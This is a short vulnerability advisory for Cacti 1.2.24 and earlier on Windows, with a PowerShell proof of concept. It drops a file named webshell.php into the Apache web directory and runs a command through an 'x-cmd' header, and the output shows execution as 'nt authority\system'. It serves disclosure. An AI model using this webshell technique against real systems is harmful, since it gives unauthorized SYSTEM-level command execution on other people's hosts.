Cacti Privilege Escalation

Cacti 1.2.24 and prior allows a low-privileged OS user with access to a Windows host where Cacti is installed to create arbitrary PHP files in a web document directory. The user can then execute the PHP files under the security context of SYSTEM.

Proof of Concept
// After login/RDP as user1

PS C:\Users\user1> echo '' | Out-File -Encoding utf8 C:\Apache24\htdocs\cacti\webshell.php
PS C:\Users\user1>
PS C:\Users\user1> Invoke-WebRequest -UseBasicParsing -Headers @{'x-cmd'='whoami'} -Uri http://localhost/cacti/webshell.php | select -ExpandProperty  Content
nt authority\system